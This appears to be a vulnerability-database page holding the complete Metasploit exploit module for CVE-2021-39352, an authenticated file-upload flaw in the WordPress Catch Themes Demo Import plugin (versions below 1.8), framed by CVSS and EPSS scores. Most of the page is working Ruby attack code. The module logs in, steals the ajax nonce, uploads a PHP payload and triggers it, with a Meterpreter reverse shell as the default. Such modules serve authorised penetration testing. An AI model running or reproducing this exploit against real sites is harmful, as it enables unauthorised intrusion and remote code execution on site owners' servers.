Lucene search

K
metasploitH00die, Ron Jost, Thinkland Security TeamMSF:EXPLOIT-MULTI-HTTP-WP_CATCH_THEMES_DEMO_IMPORT-
HistoryDec 22, 2021 - 1:04 a.m.

Wordpress Plugin Catch Themes Demo Import RCE

2021-12-2201:04:09
h00die, Ron Jost, Thinkland Security Team
www.rapid7.com
78

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.923 High

EPSS

Percentile

98.9%

The Wordpress Plugin Catch Themes Demo Import versions < 1.8 are vulnerable to authenticated arbitrary file uploads via the import functionality found in the ~/inc/CatchThemesDemoImport.php file, due to insufficient file type validation. Re-exploitation may need a reboot of the server, or to wait an arbitrary timeout. During testing this timeout was roughly 5min.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress Plugin Catch Themes Demo Import RCE',
        'Description' => %q{
          The Wordpress Plugin Catch Themes Demo Import versions < 1.8 are vulnerable to authenticated
          arbitrary file uploads via the import functionality found in the
          ~/inc/CatchThemesDemoImport.php file, due to insufficient file type validation.
          Re-exploitation may need a reboot of the server, or to wait an arbitrary timeout.
          During testing this timeout was roughly 5min.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Ron Jost', # edb
          'Thinkland Security Team' # listed on wordfence's site
        ],
        'References' => [
          [ 'EDB', '50580' ],
          [ 'CVE', '2021-39352' ],
          [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2617555/catch-themes-demo-import/trunk/inc/CatchThemesDemoImport.php' ],
          [ 'URL', 'https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39352' ],
          [ 'WPVDB', '781f2ff4-cb94-40d7-96cb-90128daed862' ]
        ],
        'Platform' => ['php'],
        'Privileged' => false,
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        # we leave this out as typically php.ini will bail before 350mb, and payloads are small enough to fit as is.
        # 'Payload'        =>
        # {
        #   # https://plugins.trac.wordpress.org/browser/catch-themes-demo-import/tags/1.6.1/inc/CatchThemesDemoImport.php#L226
        #   'Space' => 367_001_600, # 350mb
        # }
        'DisclosureDate' => '2021-10-21',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp'
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          # https://support.shufflehound.com/forums/topic/i-cant-use-the-one-click-demo-installer/#post-31770
          # re-exploitation may need a reboot of the server, or to wait an arbitrary timeout.
          'Reliability' => [ UNRELIABLE_SESSION ]
        }
      )
    )

    register_options [
      OptString.new('USERNAME', [true, 'Username of the account', 'admin']),
      OptString.new('PASSWORD', [true, 'Password of the account', 'admin']),
      OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),
    ]
  end

  def check
    return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?

    checkcode = check_plugin_version_from_readme('catch-themes-demo-import', '1.8')
    if checkcode == CheckCode::Safe
      print_error('catch-themes-demo-import not a vulnerable version')
    end
    checkcode
  end

  def exploit
    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])

    if cookie.nil?
      vprint_error('Invalid login, check credentials')
      return
    end

    # grab the ajax_nonce
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'themes.php'),
      'method' => 'GET',
      'cookie' => cookie,
      'keep_cookies' => 'false', # for some reason wordpress gives back an unauth cookie here, so ignore it.
      'vars_get' => {
        'page' => 'catch-themes-demo-import'
      }
    })
    fail_with(Failure::Unreachable, 'Site not responding') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
    /"ajax_nonce":"(?<ajax_nonce>[a-z0-9]{10})"/ =~ res.body
    fail_with(Failure::UnexpectedReply, 'Unable to find ajax_nonce on page') unless ajax_nonce
    vprint_status("Ajax Nonce: #{ajax_nonce}")

    random_filename = "#{rand_text_alphanumeric(6..12)}.php"
    vprint_status("Uploading payload filename: #{random_filename}")

    multipart_form = Rex::MIME::Message.new
    multipart_form.add_part('ctdi_import_demo_data', nil, nil, 'form-data; name="action"')
    multipart_form.add_part(ajax_nonce, nil, nil, 'form-data; name="security"')
    multipart_form.add_part('undefined', nil, nil, 'form-data; name="selected"')
    multipart_form.add_part(
      payload.encoded,
      'application/x-php',
      nil,
      "form-data; name=\"content_file\"; filename=\"#{random_filename}\""
    )

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'method' => 'POST',
      'cookie' => cookie,
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
      'data' => multipart_form.to_s
    )
    fail_with(Failure::Unreachable, 'Site not responding') unless res
    fail_with(Failure::UnexpectedReply, 'Plugin not ready to process new payloads. Please retry in a few minutes.') if res.code == 200 && res.body.include?('afterAllImportAJAX')
    fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res.code == 500
    # yes, a 500. We uploaded a malformed item, so when it tries to import it, it fails.  This
    # is actually positive as it won't display a malformed item anywhere in the UI.  Simply writes our payload, then exits (non-gracefully)
    #
    # [Fri Dec 24 16:48:00.904980 2021] [php7:error] [pid 440128] [client 192.168.2.199:38107] PHP Fatal error:  Uncaught Error: Class 'XMLReader' not found in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php:123
    # Stack trace:
    # #0 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php(331): CatchThemes\\WPContentImporter2\\WXRImporter->get_reader()
    # #1 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(80): CatchThemes\\WPContentImporter2\\WXRImporter->import()
    # #2 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(137): CTDI\\Importer->import()
    # #3 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/CatchThemesDemoImport.php(306): CTDI\\Importer->import_content()
    # #4 /var/www/wordpress/wp-includes/class-wp-hook.php(292): CTDI\\CatchThemesDemoImport->import_demo_data_ajax_callback()
    # #5 /var/www/wordpress/wp-includes/class-wp-hook.php(316): WP_Hook->apply_filters()
    # #6 /var/www/wordpress/wp-includes/plugin.php(484): WP_ in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php on line 123
    register_file_for_cleanup(random_filename)
    month = Date.today.month.to_s.rjust(2, '0')
    print_status("Triggering payload at wp-content/uploads/#{Date.today.year}/#{month}/#{random_filename}")
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', Date.today.year, month, random_filename),
      'method' => 'GET',
      'keep_cookies' => true
    )
  end
end

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.923 High

EPSS

Percentile

98.9%

Related for MSF:EXPLOIT-MULTI-HTTP-WP_CATCH_THEMES_DEMO_IMPORT-